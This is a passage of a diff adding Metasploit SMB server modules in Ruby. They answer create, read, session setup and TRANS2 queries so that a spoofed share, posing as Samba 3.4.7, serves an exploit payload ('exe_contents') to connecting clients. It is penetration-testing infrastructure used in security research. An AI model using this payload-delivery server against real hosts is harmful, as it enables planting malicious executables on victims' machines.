smb_error(CONST::SMB_COM_NT_CREATE_ANDX, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
return
|
||||
end
|
||||
|
||||
send_nt_create_andx_res(c, {
|
||||
file_id: fid,
|
||||
attributes: attribs,
|
||||
end_of_file_low: eof,
|
||||
is_directory: is_dir,
|
||||
alloc_low: 0x100000
|
||||
})
|
||||
end
|
||||
|
||||
def send_nt_create_andx_res(c, opts = {})
|
||||
file_id = opts[:file_id] || 0
|
||||
attributes = opts[:attributes] || 0
|
||||
end_of_file_low = opts[:end_of_file_low] || 0
|
||||
is_directory = opts[:is_directory] || 0
|
||||
alloc_low = opts[:alloc_low] || 0
|
||||
|
||||
pkt = CONST::SMB_CREATE_ANDX_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 42
|
||||
pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND
|
||||
pkt['Payload'].v['OpLock'] = CONST::LEVEL_II_OPLOCK # Grant Oplock on File
|
||||
pkt['Payload'].v['FileID'] = file_id
|
||||
pkt['Payload'].v['Action'] = CONST::FILE_OPEN # The file existed and was opened
|
||||
pkt['Payload'].v['CreateTimeLow'] = lo
|
||||
pkt['Payload'].v['CreateTimeHigh'] = hi
|
||||
pkt['Payload'].v['AccessTimeLow'] = lo
|
||||
pkt['Payload'].v['AccessTimeHigh'] = hi
|
||||
pkt['Payload'].v['WriteTimeLow'] = lo
|
||||
pkt['Payload'].v['WriteTimeHigh'] = hi
|
||||
pkt['Payload'].v['ChangeTimeLow'] = lo
|
||||
pkt['Payload'].v['ChangeTimeHigh'] = hi
|
||||
pkt['Payload'].v['Attributes'] = attributes
|
||||
pkt['Payload'].v['AllocLow'] = alloc_low
|
||||
pkt['Payload'].v['AllocHigh'] = 0
|
||||
pkt['Payload'].v['EOFLow'] = end_of_file_low
|
||||
pkt['Payload'].v['EOFHigh'] = 0
|
||||
pkt['Payload'].v['FileType'] = CONST::SMB_RESOURCE_FILE_TYPE_DISK
|
||||
pkt['Payload'].v['IPCState'] = 0x7 # Number maxim of instance a named pipe can have
|
||||
pkt['Payload'].v['IsDirectory'] = is_directory
|
||||
pkt['Payload'].v['MaxAccess'] = CREATE_MAX_ACCESS
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,55 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module ReadAndx
|
||||
#
|
||||
# Responds to a client READ_ANDX request
|
||||
# This function sends chunks of the payload to the client
|
||||
# by reading the offset and length requested by the client
|
||||
# and sending the appropriate chunk of the payload
|
||||
#
|
||||
def smb_cmd_read_andx(c, buff)
|
||||
pkt = CONST::SMB_READ_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
offset = pkt['Payload'].v['Offset']
|
||||
length = pkt['Payload'].v['MaxCountLow']
|
||||
|
||||
send_read_andx_res(c, {
|
||||
data_len_low: length,
|
||||
byte_count: length,
|
||||
data: exe_contents[offset, length]
|
||||
})
|
||||
end
|
||||
|
||||
def send_read_andx_res(c, opts = {})
|
||||
data_len_low = opts[:data_len_low]
|
||||
byte_count = opts[:byte_count]
|
||||
data = opts[:data]
|
||||
|
||||
pkt = CONST::SMB_READ_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 12
|
||||
pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND
|
||||
pkt['Payload'].v['Remaining'] = 0xffff
|
||||
pkt['Payload'].v['DataLenLow'] = data_len_low
|
||||
pkt['Payload'].v['DataOffset'] = CONST::SMB_READ_RES_HDR_PKT_LENGTH
|
||||
pkt['Payload'].v['DataLenHigh'] = 0
|
||||
pkt['Payload'].v['Reserved3'] = 0
|
||||
pkt['Payload'].v['Reserved4'] = 0x0a
|
||||
pkt['Payload'].v['ByteCount'] = byte_count
|
||||
pkt['Payload'].v['Payload'] = data
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,72 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module SessionSetupAndx
|
||||
#
|
||||
# Sets up an SMB session in response to a SESSION_SETUP_ANDX request
|
||||
#
|
||||
def smb_cmd_session_setup_andx(c, buff)
|
||||
tree_connect_response = CONST::SMB_TREE_CONN_ANDX_RES_PKT.make_struct
|
||||
tree_connect_response.v['WordCount'] = 7
|
||||
tree_connect_response.v['AndXCommand'] = CONST::SMB_COM_NO_ANDX_COMMAND
|
||||
tree_connect_response.v['AndXReserved'] = 0
|
||||
tree_connect_response.v['AndXOffset'] = 0
|
||||
tree_connect_response.v['OptionalSupport'] = 1
|
||||
tree_connect_response.v['AccessRights'] = 0x1200a9
|
||||
tree_connect_response.v['GuestAccessRights'] = 0
|
||||
tree_connect_response.v['Payload'] = "A:\x00#{Rex::Text.to_unicode('NTFS')}\x00\x00"
|
||||
|
||||
data = Rex::Text.to_unicode('Unix', 'utf-16be') + "\x00\x00" + # Native OS # Samba signature
|
||||
Rex::Text.to_unicode('Samba 3.4.7', 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature
|
||||
Rex::Text.to_unicode('WORKGROUP', 'utf-16be') + "\x00\x00\x00" # Primary DOMAIN # Samba signature
|
||||
|
||||
send_session_setup_andx_res(c, {
|
||||
action: CONST::SMB_SETUP_GUEST,
|
||||
data: data,
|
||||
andx: CONST::SMB_COM_TREE_CONNECT_ANDX,
|
||||
andx_offset: 96,
|
||||
andx_command: tree_connect_response
|
||||
})
|
||||
end
|
||||
|
||||
def send_session_setup_andx_res(c, opts = {})
|
||||
action = opts[:action] || 0
|
||||
andx_offset = opts[:andx_offset] || 0
|
||||
reserved = opts[:reserved] || 0
|
||||
andx = opts[:andx] || CONST::SMB_COM_NO_ANDX_COMMAND
|
||||
data = opts[:data] || ''
|
||||
andx_command = opts[:andx_command] || nil
|
||||
|
||||
|
||||
pkt = CONST::SMB_SETUP_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 3
|
||||
pkt['Payload'].v['AndX'] = andx
|
||||
pkt['Payload'].v['Reserved1'] = reserved
|
||||
pkt['Payload'].v['AndXOffset'] = andx_offset
|
||||
pkt['Payload'].v['Action'] = action
|
||||
pkt['Payload'].v['Payload'] = data
|
||||
|
||||
if andx_command
|
||||
full_pkt = pkt.to_s + andx_command.to_s
|
||||
original_length = full_pkt[2, 2].unpack('n')[0]
|
||||
original_length = original_length + andx_command.to_s.length
|
||||
full_pkt[2, 2] = [original_length].pack('n')
|
||||
else
|
||||
full_pkt = pkt.to_s
|
||||
end
|
||||
|
||||
c.put(full_pkt)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,65 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Trans2
|
||||
require 'msf/core/exploit/smb/server/share/command/trans2/find_first2'
|
||||
require 'msf/core/exploit/smb/server/share/command/trans2/query_file_information'
|
||||
require 'msf/core/exploit/smb/server/share/command/trans2/query_path_information'
|
||||
|
||||
#
|
||||
# Responds to client TRANSACTION2 requests and dispatches the request off to
|
||||
# other functions dependent on what the sub_command is. Commands supported
|
||||
# include:
|
||||
# QUERY_FILE_INFO (Basic, Standard and Internal)
|
||||
# QUERY_PATH_INFO (Basic and Standard)
|
||||
#
|
||||
def smb_cmd_trans2(c, buff)
|
||||
pkt = CONST::SMB_TRANS2_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
data_trans2 = CONST::SMB_DATA_TRANS2.make_struct
|
||||
data_trans2.from_s(pkt['Payload'].v['SetupData'])
|
||||
|
||||
sub_command = data_trans2.v['SubCommand']
|
||||
parameters = data_trans2.v['Parameters'].gsub(/^[\x00]*/, '') #delete padding
|
||||
|
||||
case sub_command
|
||||
when CONST::TRANS2_QUERY_FILE_INFO
|
||||
smb_cmd_trans2_query_file_information(c, parameters)
|
||||
when CONST::TRANS2_QUERY_PATH_INFO
|
||||
smb_cmd_trans2_query_path_information(c, parameters)
|
||||
when CONST::TRANS2_FIND_FIRST2
|
||||
smb_cmd_trans2_find_first2(c, parameters)
|
||||
else
|
||||
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_NT_STATUS_NOT_FOUND, true)
|
||||
end
|
||||
end
|
||||
|
||||
def send_trans2_res(c, parameters, data)
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 10
|
||||
pkt['Payload'].v['ParamCountTotal'] = parameters.to_s.length
|
||||
pkt['Payload'].v['DataCountTotal'] = data.to_s.length
|
||||
pkt['Payload'].v['ParamCount'] = parameters.to_s.length
|
||||
pkt['Payload'].v['ParamOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH
|
||||
pkt['Payload'].v['DataCount'] = data.to_s.length
|
||||
pkt['Payload'].v['DataOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH + parameters.to_s.length
|
||||
pkt['Payload'].v['Payload'] =
|
||||
parameters.to_s +
|
||||
data.to_s
|
||||
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,46 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Trans2
|
||||
# This mixin provides methods to handle TRAN2_FIND_FIRST2 subcommands
|
||||
module FindFirst2
|
||||
|
||||
def smb_cmd_trans2_find_first2(c, buff)
|
||||
|
||||
params = CONST::SMB_TRANS2_FIND_FIRST2_PARAMETERS.make_struct
|
||||
params.from_s(buff)
|
||||
|
||||
loi = params.v['InformationLevel']
|
||||
search_path = Rex::Text.to_ascii(params.v['FileName']).downcase
|
||||
search_path.gsub!(/[\x00]*/, '') #delete padding
|
||||
search_path.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars
|
||||
|
||||
# Do some managing for wildcards
|
||||
# TODO: Make it better / complete
|
||||
search_path.gsub!(/<\./, '*.') # manage wildcards
|
||||
extension = File.extname(file_name)
|
||||
if search_path == "#{path_name}*#{extension}"
|
||||
search_path = "#{path_name}#{file_name}"
|
||||
end
|
||||
|
||||
case loi
|
||||
when CONST::SMB_FIND_FILE_NAMES_INFO
|
||||
smb_cmd_find_file_names_info(c, search_path)
|
||||
when CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO
|
||||
smb_cmd_find_file_both_directory_info(c, search_path)
|
||||
when CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO
|
||||
smb_cmd_find_file_full_directory_info(c, search_path)
|
||||
else
|
||||
# Send STATUS_SUCCESS with the hope of going ahead
|
||||
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,33 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Trans2
|
||||
# This mixin provides methods to handle TRAN2_QUERY_FILE_INFORMATION subcommands
|
||||
module QueryFileInformation
|
||||
|
||||
def smb_cmd_trans2_query_file_information(c, buff)
|
||||
params = CONST::SMB_TRANS2_QUERY_FILE_PARAMETERS.make_struct
|
||||
params.from_s(buff)
|
||||
|
||||
loi = params.v['InformationLevel']
|
||||
fid = params.v['FID']
|
||||
|
||||
case loi
|
||||
when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS
|
||||
smb_cmd_trans_query_file_info_standard(c, fid)
|
||||
when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS
|
||||
smb_cmd_trans_query_file_info_basic(c, fid)
|
||||
else
|
||||
# Send STATUS_SUCCESS with the hope of going ahead
|
||||
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,38 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Trans2
|
||||
# This mixin provides methods to handle TRAN2_QUERY_PATH_INFORMATION subcommands
|
||||
module QueryPathInformation
|
||||
|
||||
def smb_cmd_trans2_query_path_information(c, buff)
|
||||
|
||||
params = CONST::SMB_TRANS2_QUERY_PATH_PARAMETERS.make_struct
|
||||
params.from_s(buff)
|
||||
|
||||
loi = params.v['InformationLevel']
|
||||
file_name = Rex::Text.to_ascii(params.v['FileName']).downcase
|
||||
file_name.gsub!(/[\x00]*/, '') #delete padding
|
||||
file_name.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars
|
||||
|
||||
case loi
|
||||
when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS
|
||||
smb_cmd_trans_query_path_info_standard(c, file_name)
|
||||
when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS
|
||||
smb_cmd_trans_query_path_info_basic(c, file_name)
|
||||
when CONST::SMB_QUERY_FILE_NETWORK_OPEN_INFO
|
||||
smb_cmd_trans_query_path_info_network(c, file_name)
|
||||
else
|
||||
# Send STATUS_SUCCESS with the hope of going ahead
|
||||
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,12 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module InformationLevel
|
||||
require 'msf/core/exploit/smb/server/share/information_level/find'
|
||||
require 'msf/core/exploit/smb/server/share/information_level/query'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,188 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module InformationLevel
|
||||
# This mixin provides methods to handle TRAN2_FIND_FIRST2 requests
|
||||
# with Find information levels
|
||||
module Find
|
||||
|
||||
# Responds to FIND_FIRST2 requests with Information Level: Find File Both Directory Info
|
||||
def smb_cmd_find_file_both_directory_info(c, payload)
|
||||
|
||||
if payload && payload.include?(file_name)
|
||||
data = Rex::Text.to_unicode(file_name)
|
||||
length = exe_contents.length
|
||||
ea = 0
|
||||
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
search = 1
|
||||
elsif payload && payload == path_name
|
||||
data = Rex::Text.to_unicode(path)
|
||||
length = 0
|
||||
ea = 0x21
|
||||
alloc = 0 # 0Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
search = 0x100
|
||||
else
|
||||
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
|
||||
return
|
||||
end
|
||||
|
||||
send_find_file_both_directory_info_res(c, {
|
||||
data: data,
|
||||
end_of_file: length,
|
||||
ea_error_offset: ea,
|
||||
allocation_size: alloc,
|
||||
file_attributes: attrib,
|
||||
search_count: search,
|
||||
search_offset: search
|
||||
})
|
||||
end
|
||||
|
||||
# Responds to FIND_FIRST2 requests with information level Find File Names Info
|
||||
def smb_cmd_find_file_names_info(c, payload)
|
||||
if payload && payload.include?(file_name)
|
||||
data = Rex::Text.to_unicode(file_name)
|
||||
elsif payload && payload == path_name
|
||||
data = Rex::Text.to_unicode(path_name)
|
||||
else
|
||||
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
send_find_file_names_info_res(c, { data: data })
|
||||
end
|
||||
|
||||
# Responds to FIND_FIRST2 requests with information level Find File Full Directory Info
|
||||
def smb_cmd_find_file_full_directory_info(c, payload)
|
||||
if payload && payload.include?(file_name)
|
||||
data = Rex::Text.to_unicode(file_name)
|
||||
length = exe_contents.length
|
||||
ea = 0
|
||||
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File
|
||||
search = 0x100
|
||||
elsif payload && payload == path_name
|
||||
data = path
|
||||
length = 0
|
||||
ea = 0x21
|
||||
alloc = 0 # 0Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
search = 1
|
||||
else
|
||||
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
|
||||
return
|
||||
end
|
||||
|
||||
send_find_full_directory_info_res(c, {
|
||||
data: data,
|
||||
end_of_file: length,
|
||||
ea_error_offset: ea,
|
||||
allocation_size: alloc,
|
||||
file_attributes: attrib,
|
||||
search_count: search,
|
||||
search_offset: search
|
||||
})
|
||||
end
|
||||
|
||||
def send_find_file_both_directory_info_res(c, opts = {})
|
||||
data = opts[:data] || ''
|
||||
search_count = opts[:search_count] || 0
|
||||
end_of_search = opts[:end_of_search] || 0
|
||||
ea_error_offset = opts[:ea_error_offset] || 0
|
||||
end_of_file = opts[:end_of_file] || 0
|
||||
allocation_size = opts[:allocation_size] || 0
|
||||
file_attributes = opts[:file_attributes] || 0
|
||||
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['SID'] = 0xfffd
|
||||
trans2_params.v['SearchCount'] = search_count
|
||||
trans2_params.v['EndOfSearch'] = end_of_search
|
||||
trans2_params.v['EaErrorOffset'] = ea_error_offset
|
||||
trans2_params.v['LastNameOffset'] = 0
|
||||
|
||||
find_file = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct
|
||||
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR_LENGTH + data.length
|
||||
find_file.v['FileIndex'] = 0
|
||||
find_file.v['loCreationTime'] = lo
|
||||
find_file.v['hiCreationTime'] = hi
|
||||
find_file.v['loLastAccessTime'] = lo
|
||||
find_file.v['hiLastAccessTime'] = hi
|
||||
find_file.v['loLastWriteTime'] = lo
|
||||
find_file.v['hiLastWriteTime'] = hi
|
||||
find_file.v['loLastChangeTime'] = lo
|
||||
find_file.v['hiLastChangeTime'] = hi
|
||||
find_file.v['EndOfFile'] = end_of_file
|
||||
find_file.v['AllocationSize'] = allocation_size
|
||||
find_file.v['ExtFileAttributes'] = file_attributes
|
||||
find_file.v['FileName'] = data
|
||||
|
||||
send_trans2_res(c, trans2_params, find_file)
|
||||
end
|
||||
|
||||
def send_find_file_names_info_res(c, opts = {})
|
||||
data = opts[:data] || ''
|
||||
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
find_file = CONST::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct
|
||||
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_NAMES_INFO_HDR_LENGTH + data.length
|
||||
find_file.v['FileIndex'] = 0
|
||||
find_file.v['FileName'] = data
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['SID'] = 0xfffd
|
||||
trans2_params.v['SearchCount'] = 1
|
||||
trans2_params.v['EndOfSearch'] = 1
|
||||
trans2_params.v['EaErrorOffset'] = 0
|
||||
trans2_params.v['LastNameOffset'] = 0
|
||||
|
||||
send_trans2_res(c, trans2_params, find_file)
|
||||
end
|
||||
|
||||
def send_find_full_directory_info_res(c, opts = {})
|
||||
data = opts[:data] || ''
|
||||
search_count = opts[:search_count] || 0
|
||||
end_of_search = opts[:end_of_search] || 0
|
||||
ea_error_offset = opts[:ea_error_offset] || 0
|
||||
end_of_file = opts[:end_of_file] || 0
|
||||
allocation_size = opts[:allocation_size] || 0
|
||||
file_attributes = opts[:file_attributes] || 0
|
||||
|
||||
find_file = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct
|
||||
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR_LENGTH + data.length
|
||||
find_file.v['FileIndex'] = 0
|
||||
find_file.v['loCreationTime'] = lo
|
||||
find_file.v['hiCreationTime'] = hi
|
||||
find_file.v['loLastAccessTime'] = lo
|
||||
find_file.v['hiLastAccessTime'] = hi
|
||||
find_file.v['loLastWriteTime'] = lo
|
||||
find_file.v['hiLastWriteTime'] = hi
|
||||
find_file.v['loLastChangeTime'] = lo
|
||||
find_file.v['hiLastChangeTime'] = hi
|
||||
find_file.v['EndOfFile'] = end_of_file
|
||||
find_file.v['AllocationSize'] = allocation_size
|
||||
find_file.v['ExtFileAttributes'] = file_attributes
|
||||
find_file.v['FileName'] = data
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['SID'] = 0xfffd
|
||||
trans2_params.v['SearchCount'] = search_count
|
||||
trans2_params.v['EndOfSearch'] = end_of_search
|
||||
trans2_params.v['EaErrorOffset'] = ea_error_offset
|
||||
trans2_params.v['LastNameOffset'] = 0
|
||||
|
||||
send_trans2_res(c, trans2_params, find_file)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,184 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module InformationLevel
|
||||
# This mixin provides methods to handle TRAN2_QUERY_PATH_INFORMATION subcommands
|
||||
module Query
|
||||
|
||||
#
|
||||
# Responds to QUERY_PATH_INFO (Basic) requests
|
||||
#
|
||||
def smb_cmd_trans_query_file_info_basic(c, fid)
|
||||
smb = @state[c]
|
||||
|
||||
if fid.eql?smb[:file_id].to_i
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File attributes => file
|
||||
elsif fid.nil? || fid.empty? || fid == "\x00" # empty path
|
||||
# QUERY_PATH_INFO_PARAMETERS doesn't include a file name, return a Directory answer
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY # File attributes => directory
|
||||
else
|
||||
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
return
|
||||
end
|
||||
|
||||
send_info_basic_res(c, { file_attributes: attrib })
|
||||
end
|
||||
|
||||
# shortcut, we only have one file....
|
||||
def smb_cmd_trans_query_file_info_standard(c, fid)
|
||||
send_info_standard_res(c, {
|
||||
allocation_size: 1048576,
|
||||
number_links: 1,
|
||||
delete_pending: 0,
|
||||
directory: 0,
|
||||
end_of_file: exe_contents.length
|
||||
})
|
||||
end
|
||||
|
||||
#
|
||||
# Responds to QUERY_PATH_INFO (Basic) requests
|
||||
#
|
||||
def smb_cmd_trans_query_path_info_basic(c, path)
|
||||
if path && path.ends_with?(file_name) #TODO: do it better
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
elsif path && path.ends_with?(file_name + '.Local')
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
elsif path && path == path_name
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
elsif path.nil? || path.empty? || path == "\x00" # empty path
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
else
|
||||
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
return
|
||||
end
|
||||
|
||||
send_info_basic_res(c, { file_attributes: attrib })
|
||||
end
|
||||
|
||||
#
|
||||
# Responds to QUERY_PATH_INFO (Standard) requests
|
||||
#
|
||||
# At the moment we just support '\\' path always send a SUCCESS...
|
||||
def smb_cmd_trans_query_path_info_standard(c, path)
|
||||
|
||||
puts "[smb_cmd_trans_query_path_info_standard] #{path}"
|
||||
|
||||
if path && path.include?(file_name) #TODO: do it better
|
||||
attrib = 0 # File attributes => file
|
||||
elsif path && path == path_name
|
||||
attrib = 1 # File attributes => directory
|
||||
elsif path.nil? || path.empty? || path == "\x00" # empty path
|
||||
attrib = 1 # File attributes => directory
|
||||
else
|
||||
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
return
|
||||
end
|
||||
|
||||
send_info_standard_res(c, {
|
||||
allocation_size: 1048576,
|
||||
number_links: 1,
|
||||
delete_pending: 0,
|
||||
directory: attrib,
|
||||
end_of_file: exe_contents.length
|
||||
})
|
||||
end
|
||||
|
||||
#
|
||||
# Responds to QUERY_PATH_INFO (Network Open) requests
|
||||
#
|
||||
# At the moment we just support '\\' path always send a SUCCESS...
|
||||
def smb_cmd_trans_query_path_info_network(c, path)
|
||||
|
||||
if path && path.include?(file_name) #TODO: do it better
|
||||
attrib = 0 # File attributes => file
|
||||
elsif path && path == path_name
|
||||
# QUERY_PATH_INFO_PARAMETERS doesn't include a file name, return a Directory answer
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY # File attributes => directory
|
||||
elsif path.nil? || path.empty? || path == "\x00" # empty path
|
||||
# QUERY_PATH_INFO_PARAMETERS doesn't include a file name, return a Directory answer
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY # File attributes => directory
|
||||
else
|
||||
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
return
|
||||
end
|
||||
|
||||
send_info_network_res(c, {
|
||||
allocation_size: 1048576,
|
||||
end_of_file: exe_contents.length,
|
||||
file_attributes: attrib
|
||||
})
|
||||
end
|
||||
|
||||
def send_info_basic_res(c, opts = {})
|
||||
file_attributes = opts[:file_attributes] || 0
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['EaErrorOffset'] = 0
|
||||
|
||||
query_path_info = CONST::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct
|
||||
query_path_info.v['loCreationTime'] = lo
|
||||
query_path_info.v['hiCreationTime'] = hi
|
||||
query_path_info.v['loLastAccessTime'] = lo
|
||||
query_path_info.v['hiLastAccessTime'] = hi
|
||||
query_path_info.v['loLastWriteTime'] = lo
|
||||
query_path_info.v['hiLastWriteTime'] = hi
|
||||
query_path_info.v['loLastChangeTime'] = lo
|
||||
query_path_info.v['hiLastChangeTime'] = hi
|
||||
query_path_info.v['ExtFileAttributes'] = file_attributes
|
||||
|
||||
send_trans2_res(c, trans2_params, query_path_info)
|
||||
end
|
||||
|
||||
def send_info_standard_res(c, opts = {})
|
||||
allocation_size = opts[:allocation_size] || 0
|
||||
number_links = opts[:number_links] || 0
|
||||
delete_pending = opts[:delete_pending] || 0
|
||||
directory = opts[:directory] || 0
|
||||
end_of_file = opts[:end_of_file] || 0
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['EaErrorOffset'] = 0
|
||||
|
||||
query_path_info = CONST::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct
|
||||
